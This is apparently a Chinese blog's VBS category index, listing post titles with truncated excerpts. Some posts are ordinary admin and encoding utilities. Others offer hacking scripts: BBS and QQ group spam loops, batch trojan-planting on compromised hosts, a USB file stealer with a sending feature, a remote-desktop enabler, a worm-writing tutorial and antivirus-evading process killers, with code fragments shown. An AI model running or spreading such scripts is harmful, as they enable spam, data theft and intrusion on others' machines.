随笔分类 -  Visual Basic,VBS

BBS灌水机脚本
摘要:'**********************************************************************'* Filename: water.vbs *'* Author: Pred yecha@freecity.cn*'* You may freely modify or redistribute this file *'**********************************************************************''注意,使用本脚本时,在脚本相同目录下 阅读全文

posted @ 2012-06-20 14:29 与时俱进 阅读(475) 评论(0) 推荐(0) 编辑

VBS 常用总汇
摘要:1 VBS VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows 2000下,还可用WSH来访问Windows NT活动目录服务。 用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由c 阅读全文

posted @ 2011-11-11 11:33 与时俱进 阅读(14062) 评论(0) 推荐(0) 编辑

Microsoft VBScript 编译器错误 错误原因 代码大全
摘要:Microsoft VBScript 编译器错误 错误 '' 缺少语句ActiveServerPages,ASP0126(0x80004005)-->找不到包含文件MicrosoftOLEDBProviderforODBCDrivers(0x80040E21)-->sql语句出错(数据类型不匹配或表名(字段名)错误或表处于编辑状态,或表不存在于conn打开的数据库中)Microsoft... 阅读全文

posted @ 2010-08-09 09:12 与时俱进 阅读(7366) 评论(0) 推荐(0) 编辑

如何将QQWry.Dat导出为access数据,导入mssql及查询纯真导入后的ip数据
摘要:本文将说明如何一步一步将纯真ip数据库QQWry.Dat导入到access数据库中,又从access数据库中导入到mssql数据库,并实现ip地址的数字化,方便查询ip。由于导入mssql后的ip数据库还是很大,所以在此就不提供下载了。  下面为操作步骤1)下载最新的纯真版ip数据库QQ IP数据库 纯真版20090720IP数据记录:370628条下载地址2)下载转换工具QQ IP 纯真数据库a... 阅读全文

posted @ 2010-06-25 13:03 与时俱进 阅读(2997) 评论(0) 推荐(0) 编辑

VBS常用函数及功能
摘要:函数名语法功能AbsAbs(number)返回一个数的绝对值SqrSqr(number)返回一个数的平方根SinSin(number)返回角度的正玄值CosCos(number)返回角度的余玄值TanTan(number)返回角度的正切值AtnAtn(number)返回角度的反正切值LogLog(number)返回一个数的自然对数IntInt(number)取整函数,返回一个小于number的第一... 阅读全文

posted @ 2010-03-10 14:36 与时俱进 阅读(13943) 评论(0) 推荐(0) 编辑

自动加入域
摘要:'* Start Script'***********************Const JOIN_DOMAIN = 1Const ACCT_CREATE = 2Const ACCT_DELETE = 4Const WIN9X_UPGRADE = 16Const DOMAIN_JOIN_IF_JOINED = 32Const JOIN_UNSECURE = 64Const MACHINE_PASS... 阅读全文

posted @ 2010-02-22 22:01 与时俱进 阅读(504) 评论(0) 推荐(0) 编辑

文本文件编码查询工具 QueryCode.vbs
摘要:文本文件编码查询工具 下载QueryCode.vbs (756.00 bytes) 只要下载此文件后便可以查询了. 下面是详细代码 'QueryCode.vbs BY: fastslz '支持批量查询,可以放在SendTo扩展应用 set files=WScript.Arguments if files.Count=0 Then MsgBox "请将要查询的文件拖动到这个文件里! ", vbIn... 阅读全文

posted @ 2010-01-15 11:03 与时俱进 阅读(1336) 评论(0) 推荐(0) 编辑

命令行GB2312,UTF-8,Unicode,BIG5编码转换工具VBS版
摘要:VBS写的GB2312,UTF-8,Unicode,BIG5编码转换工具, 转换工具下载:GB2Ue.vbs (3.34 kb) 演示 echo "ABCDE &!@#$ ^<>() %% abcde 测试!"> "处理前.txt" GB2Ue.vbs "处理前.txt" "处理后.txt" Ue2U8.vbs "处理后.txt" U82GB.vbs "处理后.txt"... 阅读全文

posted @ 2010-01-15 11:02 与时俱进 阅读(2315) 评论(0) 推荐(0) 编辑

vbs之自动安装驱动程序
摘要:其实,很简单,只要将这些驱动程序的inf文件所在的文件夹注册到注册表中。 比如: 我们把自己电脑上的驱动程序,通过 驱动精灵 之类的软件从系统中分离出来以后,如果想在下一次安装系统的时候,自动安装这些驱动程序。我们可以把这些分离出来的驱动程序对应的文件夹写入注册表,然后重新启动电脑,电脑会自动搜索硬件并安装驱动程序。这是不是很爽?这里我使用winrar+vbs实现。 比如我们现在有如下几个驱动... 阅读全文

posted @ 2009-11-17 17:24 与时俱进 阅读(945) 评论(0) 推荐(0) 编辑

自己动手编写VBScript脚本刷QQ群信息
摘要:Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.AppActivate "群 -零 起 点" For i=1 To 10 ' 要发送的次数 WScript.Sleep 500 WshShell.SendKeys "^v" WshShell.SendKeys i WshShell.SendKeys "%s" Next 上面这是... 阅读全文

posted @ 2009-11-17 17:23 与时俱进 阅读(894) 评论(0) 推荐(0) 编辑

VBS也能批量挂马
摘要:好不容易才得到一台肉鸡,在保住肉鸡的同时还不免要扩大自己的成果。挂马其实是一个不错的选择,还有很多比我们菜的菜鸟还不懂打补丁呢(嘻嘻……)!前天下载了个批量挂马程序看了下200多K,想放在肉鸡上测试一下,好不容易才上传到肉鸡上不知怎么,运行的时候弹出个错误窗口肉鸡就挂了(真是悲哀………)!于是就想自己用脚本写个,个子小又有安全感!(Soc... 阅读全文

posted @ 2009-11-17 17:19 与时俱进 阅读(534) 评论(0) 推荐(0) 编辑

IIS日志清理CMD版,VBS版,JS版,WSH版
摘要:'IIS日志清理之IIS日志生成系统(CreateIISLog.vbs) '创建文件夹Function CreateFolder(Folder) On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CreateFolder(Folder) If Err>0 Then Err.Clear C... 阅读全文

posted @ 2009-11-17 17:14 与时俱进 阅读(885) 评论(0) 推荐(0) 编辑

局域网文件自动备份 VBS 脚本
摘要:' =============== 局域网文件自动备份 VBS 脚本 ================= ' ' 条件:10.97.1.X 开用户xcopy/xcopy 属于adminstrator ' 共享BACKUP 文件所在目录,使xcopy 用户完全控制! ' 运行后在管理进程中有2个进程:wscript.exe,ping.exe ' 以日期为log文件名称,只保留7天的日志 ' ' ... 阅读全文

posted @ 2009-11-17 17:09 与时俱进 阅读(1781) 评论(0) 推荐(0) 编辑

vbs简单制作U灵大盗带发送功能的代码
摘要:Dim udisk, disks, s Set fso = CreateObject("Scripting.FileSystemObject") Set disks = fso.Drives For Each udisk In disks s = udisk.DriveLetter If fso.GetDrive(s & ":").DriveType = 1 Then fso.Copy... 阅读全文

posted @ 2009-11-17 16:59 与时俱进 阅读(287) 评论(0) 推荐(0) 编辑

3389脚本开启代码(vbs版)
摘要:将以下代码复制到记事本里并保存为rots.vbs on error resume next set utstreem=wscript.stdout set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set bjShell=wscript.createObject("wscri... 阅读全文

posted @ 2009-11-17 16:57 与时俱进 阅读(2441) 评论(0) 推荐(0) 编辑

用vb将vbs封装成exe
摘要:下午无聊,实现了一下这个,代码有的地方很不好,以下代码是把一个加用户的vbs封装成exe了: Attribute VB_Name = "Module1" Public Declare Function AllocConsole Lib "kernel32.dll" () As Long Public Declare Function FreeConsole Lib "kernel32.dll" ... 阅读全文

posted @ 2009-11-17 16:55 与时俱进 阅读(1147) 评论(0) 推荐(0) 编辑

exe2bat.vbs
摘要:多的不说,会用的各位测试~ fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536... 阅读全文

posted @ 2009-11-17 16:34 与时俱进 阅读(1003) 评论(0) 推荐(0) 编辑

vbs之类蠕虫病毒的编写
摘要:文章标题之所以称为类蠕虫,是因为攻击代码 即主题代码还没实现 sub yitiaolong() '定义一条龙过程 on error resume next '这里是防止没有发现匹配设备时而报错 dim drivearray '初始化数组变量 dim drive '驱动器句柄变量 dim strarray '初始化字符串数组变量 dim vbcode '用于接收变异的自身代码 dim file di... 阅读全文

posted @ 2009-11-17 16:33 与时俱进 阅读(3061) 评论(0) 推荐(0) 编辑

两个简易VBS脚本结束进程与防止进程启动
摘要:今天下午没课,躲进私人空间开始思考些问题。在浏览VBS相关案例时,自己写了两个小程序出来,有Hack性质的(其实只要能“借刀杀人”,什么软件没黑客性质?- -!)。Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)   Kill.... 阅读全文

posted @ 2009-11-17 16:30 与时俱进 阅读(1810) 评论(0) 推荐(0) 编辑

vbs之邮箱的另类利用
摘要:大家好啊,又见面啦,会不会想起我啦?我可是很想大家的 写vb脚本也写啦几篇啦,不知道大家有收获没拉 我还是希望大家学到多多的东西啦 这篇带来的是关于cdo.message组建的利用的,目的是为了上传文件啦,嘿嘿ie,看来我说啦很多废话 具体的功能还是看下面代码的分析吧! sub send_email(myaccount,mypassword,toemail,emailtopic,emailbody... 阅读全文

posted @ 2009-11-17 15:45 与时俱进 阅读(399) 评论(0) 推荐(0) 编辑

友情链接:同里老宅院民居客栈